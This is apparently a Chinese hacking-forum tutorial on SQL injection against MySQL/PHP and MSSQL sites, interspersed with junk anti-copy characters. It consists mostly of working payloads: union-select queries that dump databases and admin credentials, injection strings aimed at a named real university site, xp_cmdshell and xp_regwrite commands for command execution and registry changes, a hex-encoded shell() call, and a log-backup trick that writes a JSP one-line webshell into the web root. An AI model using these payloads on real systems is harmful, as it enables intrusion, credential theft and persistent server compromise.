————————————————————————九零后安全技术小组 | 90 Security Team -- 打造90后网安精英团队 ———————————————————————————————
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欢迎高手访问指导,欢迎新手朋友交流学习。
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论坛: http://www.90team.net/
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/ S5 J2 ~' {& G4 d( R教程内容:Mysql 5+php 注入. F( w4 U" s# }4 [" V& d1 S& {
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and (select count(*) from mysql.user)>0/*
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1 o2 y' M; {' U一.查看MYSQL基本信息(库名,版本,用户)0 D, @# {: G8 ~+ k; x" k- r
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and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
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二.查数据库! {6 X8 }. n2 g4 }5 u
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and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
* N" z- n4 b) R& b# }4 @+ Vlimit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。# v8 y7 V. p2 c/ ~2 s
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三.暴表8 g3 A6 s3 o4 y" U* D
5 x0 k% N( S4 ~+ }0 ]+ h; l$ Qand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
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2 K% @$ l F5 n1 olimit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。
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and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8 from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
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4 i7 P( b, m9 G) `limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。
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五.暴数据
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F& w$ j; h7 Sand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*- C. }6 y7 W$ V8 R* Q4 y
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这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。
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. J& i# D& j& Y7 R) p 新手不明白的可以到论坛发帖提问,我会的尽量给你解答。3 }6 J+ f* |' L, K/ h* o
$ s1 {. K; ~& M. x. Y* W 欢迎九零后的新手高手朋友加入我们
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By 【90.S.T】书生+ s& I. g8 Z6 z. V! j
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% x# N6 y, B& }7 O$ U( c 论坛:www.90team.net $ U- w! b8 E$ R) J" y
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2 ]- C+ ?& Z$ q. s0 `5 o6 @0 Rhttp://news.cupl.edu.cn/V/videoshow.php?id=-95 UNION SELECT 1,2,loginame ,4,5,6,7,8,9 from --% ]- e, Z6 f1 h4 I( l( ?
password loginame
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5 E8 p Q6 z: e( B+ X6 ~& hhttp://news.cupl.edu.cn/V/videoshow.php?id=-95 UNION SELECT 1,2,TABLE_NAME,4,5,6,7,8,9 rom information_schema.TABLES where TABLE_SCHEMA =CHAR(99, 45, 110, 101, 119, 115) limit 0,1--
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administer
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& f' V/ Y( m+ w+ l6 V4 |, cIIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm
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5 _/ x& x* M* g$ Z读取IIS配置信息获取web路径% c+ O7 `/ K- @* S; l* K& N- P
5 t6 z6 i. P( O2 ]3 M& ~0 Gexec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'-- F! R( T" K% k" }1 k9 b1 t
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执行命令exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--8 n5 ]1 j3 P; t1 |6 Y: q3 q) t, l% T. ^$ U
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9 ?' t& G E- P" i* F/ Q3 L( J2 BCMD下读取终端端口
0 b! n% M4 [' x7 g+ S3 Y! Dregedit /e c:\\tsport.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"# X& n/ I* }, R
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然后 type c:\\tsport.reg | find "PortNumber"8 a# f9 p" o3 W* j
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;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--+ F, w8 x8 _* o' x& F' ]7 ]+ A
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;declare @s varchar(4000) set @s=cast(0x53656C656374202A2046726F6D204F70656E526F7753657428274D6963726F736F66742E4A65742E4F4C4544422E342E30272C20273B44617461626173653D6961735C6961732E6D6462272C202773656C656374207368656C6C2822636D642E657865202F63206563686F2057656C636F6D6520746F20392E302E732E74202020207777772E39307465616D2E6E65742020627920483478307872207869616F6A756E2020203E20433A5C57696E646F77735C48656C705C69697348656C705C636F6D6D6F6E5C343034622E68746D22292729 as varchar(4000));exec(@s);-- and 1=1
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Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0', ';Database=ias\ias.mdb', 'select shell("cmd.exe /c echo Welcome to 9.0.s.t www.90team.net > C:\Windows\Help\iisHelp\common\404b.htm")')% u- o; C6 p) ?* ^
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( O' V. D6 L$ O7 Bjsp一句话木马
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■基于日志差异备份! K- C! b# J+ @) ~, ~8 [* E+ {
--1. 进行初始备份
0 r9 ]6 v/ N: `/ X2 H7 `; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
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--2. 插入数据
w: }* O& o, R5 r- ?;Insert Into ttt Values(0x3C25DA696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C5C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293BDA253EDA)--+ d# q n* j* d
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--3. 备份并获得文件,删除临时表
/ s' C E' B$ y, b" [8 R& F, m;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
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fafda06a1e73d8db0809ca19f106c3001 f0 j6 ]! l4 ^+ j! V6 d
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